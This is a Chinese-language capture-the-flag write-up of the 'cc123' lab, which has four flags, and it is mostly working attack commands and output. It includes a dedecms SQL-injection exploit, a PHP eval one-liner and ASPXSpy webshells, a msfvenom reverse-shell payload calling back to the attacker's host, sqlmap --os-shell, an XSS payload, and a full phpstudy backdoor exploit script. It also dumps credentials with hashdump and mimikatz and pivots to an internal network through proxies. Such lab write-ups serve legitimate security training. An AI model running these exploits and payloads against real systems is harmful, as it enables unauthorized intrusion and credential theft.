cc123靶场拓扑图

共包含4个flag
(因个人实验环境的特殊情况,使用了两台kali攻击机,IP分别为192.168.137.22与192.168.137.185)
1.信息收集
1.0 创建文件夹

1.1 主机发现
1 | sudo net discover -i eth0 -r 192.168.134.0/24 |

1.2 端口扫描
1 | sudo masscan -p 1-65535 192.168.137.134 --rate=1000 |

1.3 端口信息探测
1 | sudo nmap -sC -A 192.168.137.134 -p53,80,135,999,3389,6588,49154,49155 -oA cc123-port |

1.4 网站信息



1.5 绑定本地hosts/网关设置
1 | windows: |
1.6 子域名穷举
1 | wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53 |

| KesionEDU | www.cc123.com |
|---|---|
| dedecms | new.cc123.com |
| Net | ww2.cc123.com |
2.漏洞测试
2.1 dedecms安全测试
查看版本号
1 | http://new.cc123.com/data/admin/ver.txt |

版本为20150618 该版本存在注入漏洞

查看管理后台是否开启
1 | http://new.cc123.com/dede |

管理后台开启,尝试默认密码,错误失败
查看会员注册是否开启
/member – 发现开放会员注册 – 注册用户 – byesec – 登录



注入漏洞利用
新建分类

复制cookie


配置exp
放入exp目录下的cookie.txt文件内并修改exp

执行exp
1 | python Dedecms_20150618_member_sqli.py http://new.cc123.com |

得到加密的密码 812df726be884ddcfc41

最终的到admin的密码为admin7788
进入后台管理系统登陆
1 | http://new.cc123.com/dede |

登陆成功

上传一句话木马

写入木马上传



使用蚁剑连接

提权
在蚁剑内翻阅目录发现权限不足

发现在目录下是NET环境,尝试上传.NET文件看能否解析执行

上传webshell到根部录下的/a内

访问ASPXSpy2014.aspx
1 | http://new.cc123.com/a/ASPXSpy2014.aspx |
输入密码admin


尝试是否可以执行命令

结果显示可以执行命令
下一步的思路是:能否在msf内生成payload执行以达到提权的目的
msf生成payload
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.137.22 lport=12345 -f exe >s.exe |

上传生成的s.exe,发现可能是写权限不足

上传使用wt.asp脚本来扫描可写目录

1 | 访问http://new.cc123.com/a/wt.asp |


尝试向c:\windows\debug\WIA\目录内上传s.exe

上传成功后配置msf
1 | msfconsole |

执行s.exe

成功反弹shell

1 | ipconfig |

1 | getuid |

1 | background |
1 | use post/multi/recon/local_exploit_suggester |

⚠️:kali的msf内没有可用的exp

⚠️:经过询问得知是新版本的kali内的msf对本项目,在提权的时候存在一些不可知的问题,故采用老版本的kali2020.1进行尝试
重新生成c.exe-执行反弹shell-搜索可用的本地提权

1 | use exploit/windows/local/ms16_075_reflection_juicy |
1 | getuid |

成功提权至系统权限
查看flag
2.2 ww2.cc123.com安全测试

复制响应头

分析响应头
仍然为ASP.NET 版本4.0

目录扫描
gobuster连接超时
1 | gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'aspx,html' -o ~/cc123/cc123-ww2-dir.log |

dirsearch连接超时
1 | dirsearch -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e aspx,html -o cc123-ww2.log |

可能是因为配置原因..在kali内这两个工具都无法连接
救急采用了御剑

1 | 访问http://ww2.cc123.com/admin |

尝试了默认密码/弱口令等无果

使用burpsuite对该页面进行抓包分析

右键–Request in browser–in original session–copy–浏览器访问

重复提交包,并未对验证码进行校验(可能存在验证码重复利用漏洞),可直接发送至Intruder模块对其进行密码的爆破
后台登陆页-SQL注入漏洞
在Repeater内检测
修改用户名为admin’ 但结果并没有报错

修改用户名为admin’–+ 尝试注释后面的语句 页面发生了重定向

猜测其查询语句大致为:
1 | select * from users where username='admin' and password='123456' |
添加注释后则为
1 | select * from users where username='admin'-- ' and password='123456' |
在浏览器内尝试提交用户名admin’–空格 密码任意
利用该漏洞成功以管理员身份登陆进入了后台管理系统

后台内-SQLMAP测试SQL注入

将抓取到的页面包放入SQLMAP中进行测试(bp.txt)
测试是否存在注入
1 | sqlmap -r bp.txt --dbms mssql -v 1 --batch |

列库
1 | sqlmap -r bp.txt --dbms mssql -v 1 --dbs |

查询数据无法直接看到
1 | sqlmap -r bp.txt --dbms mssql -v 1 -D grams_data -T username --dump |

获取mssql的shell
1 | sqlmap -r bp.txt --dbms mssql -v 1 --os-shell |



主机名为WIN-JJU7KU45PN7。根据以上信息猜测为站库分离。
.NET代码审计
1 | cd c:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\bin |


下载
1 | download c:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\bin |


拷贝至本地IlSpy反编译dll进行审计

验证码重复使用漏洞
漏洞验证


后台管理登陆SQL注入漏洞

漏洞验证


后台文件SQL注入漏洞



漏洞验证

后台编辑器KindEditor漏洞





抓包修改验证



访问ww2.cc123.com/editor/asp.net/../attached/file/20220114/20220114101159_6235.html
成功弹回cookie

前台XSS漏洞
查看前台文件


访问该文件


构造payload
1 | http://ww2.cc123.com/mystat.aspx?style=</script><script>alert(/xss/);</script><script> |

后台用户名密码秘文解密
之前得到利用SQL MAP得到的用户名和密码都是无法直接获取的

利用工具
查询配置文件中的数据库连接信息
1 | cat web.config |

将其放入工具中 Go连接

查询admin表内的数据
1 | select * from admin |

得到用户名密码信息
| id | username | password | roleId |
|---|---|---|---|
| 28 | admin | AE5F6187F32825CA | 1 |
| 30 | cc123 | B97C57DB005F954242450A255217DA9F | 1 |
在MD5在线平台进行解密发现失败
寻找加密方法


解密方法

编写解密小工具


填写key进行解密


| id | username | password | roleId |
|---|---|---|---|
| 28 | admin | cc123 | 1 |
| 30 | cc123 | qweasd123 | 1 |
3.内网渗透
3.1web服务器
网段梳理
1 | ipconfig |
192.168.137.134
10.10.10.135

获取路由信息
1 | run get_local_subnets |

查看权限
1 | getuid |

迁移进程
1 | ps |

1 | migrate 1580 |

获取哈希密码明文
1 | run hashdump |

Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c933df09b600efabee0791aaccc43f2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:6a75a75e4cfd3cf00faf743e17e90a53:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:a14b615c584d6b043f42f1cfab9779cd:::
huweishen542147:1004:aad3b435b51404eeaad3b435b51404ee:c76eea2615348c5228f7027d3ccab02d:::
cc123:1005:aad3b435b51404eeaad3b435b51404ee:afdeb425b4a55982deb4e80fa3387576:::
newcc123:1007:aad3b435b51404eeaad3b435b51404ee:97824315153b4dd665d6c688f446ebf1:::
ww2cc123:1008:aad3b435b51404eeaad3b435b51404ee:adadf2dd832421c26a96705fd09a32bd:::
1 | load mimikatz |
1 | mimikatz_command -f samdump::hashes |

1 | mimikatz_command -f sekurlsa::searchPasswords |

1 | wdigest/tspkg |

管理员的账号和密码:Administrator !@#Qwe123.
3.2数据库服务器
添加路由
1 | run autoroute -s 10.10.10.0/24 |
1 | run autoroute -p |

1 | background |
1 | use auxiliary/server/sock4a |
1 | show options |
1 | set SRVPORT 2222 |

配置proxychains
kali攻击机:
1 | sudo vim /etc/proxychains.conf |
绑定本机
1 | socks4 127.0.0.1 2222 |

NMAP扫描
1 | proxychains nmap -sT -Pn 10.10.10.136 |
扫描速度比较慢 在扫描过程中发现80端口开放
测试是否可以访问
1 | proxychains firefox http://10.10.10.136 |
访问结果为不可访问

数据库服务器信息整理
1 | os-shell>netstat -ano |

1 | os-shell>ipconfig |

生成正向连接的攻击载荷
1 | msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe |

上传载荷

执行载荷

连接获取session
1 | use exploit/multi/handler |


网段梳理
1 | ipconfig |
10.10.10.136
10.10.1.128

获取路由信息
1 | run get_local_subnets |

查看权限

迁移进程
1 | ps |

1 | migrate 1532 |

获取哈希密码明文
1 | run hashdump |

Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1 | load mimikatz |

1 | mimikatz_command -f sekurlsa::searchPasswords |

1 | wdigest/tspkg |

管理员的账号和密码:Administrator !@#QWEasd123.
3.3目标服务器
添加路由
1 | run autoroute -s 10.10.1.0/24 |

NMAP扫描
1 | proxychains nmap -sT -Pn 10.10.1.129 |

扫描速度比较慢 ,在扫描过程中发现80端口开放,测试是否可以访问
1 | proxychains3 firefox http://10.10.1.129 |

发现是phpstudy PHP版本为5.4.45
搜索phpstudy后门事件


参考链接:
编写phpstudy后门exp
1 | vim phpstudy.py |

#conding:utf-8
import requests import sys import base64
shell = “system(‘“+sys.argv[1]+”‘);” shell_base64 = base64.b64encode(shell.encode(‘utf-8’))
header={‘Accept-charset’:shell_base64,’Accept-Encoding’:’gzip,deflate’}
def exploit(url): html = requests.get(url=url,headers=header).text return html
url = “http://10.10.1.129/" print(exploit(url))
写入一句话木马
1 | proxychains3 python3 phpstudy.py "echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php" |

访问后门shell.php

使用SocksCap64设置本机代理
kali内配置proxychains
确认kali的IP

1 | sudo vim /etc/proxychains.conf |

本机内添加代理

测试代理是否正常

代理蚁剑




正向连接
上传bind.exe

执行bind.exe

生成正向连接的攻击载荷
1 | background |

迁移进程
1 | ps |

1 | migrate 1340 |

1 | shell |

获取4个flag
1 | background |

flag1
1 | sessions -i 3 |
web服务器内

flag2
web服务器内

flag3
数据库服务器内
1 | sessions -i 4 |

flag4
目标服务器内
1 | sessions -i 8 |
